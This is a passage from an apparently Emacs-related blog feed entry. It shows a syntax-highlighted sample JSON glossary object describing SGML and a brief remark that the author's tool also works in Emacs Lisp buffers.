&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;glossary&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;title&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;example glossary&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;GlossDiv&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;title&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;S&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;GlossList&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;GlossEntry&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;ID&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;SGML&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;SortAs&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;SGML&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;GlossTerm&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Standard Generalized Markup Language&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;Acronym&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;SGML&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;Abbrev&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ISO 8879:1986&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;GlossDef&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;para&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;A meta-markup language, used to create markup languages such as DocBook.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;GlossSeeAlso&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;GML&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;XML&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]},&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;GlossSee&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;markup&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}}}}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It works for my current needs but have not fully tested it yet. It works for emacs lisp buffers too.&lt;/p&gt;</content><category term="Misc"/><category term="emacs"/></entry></feed>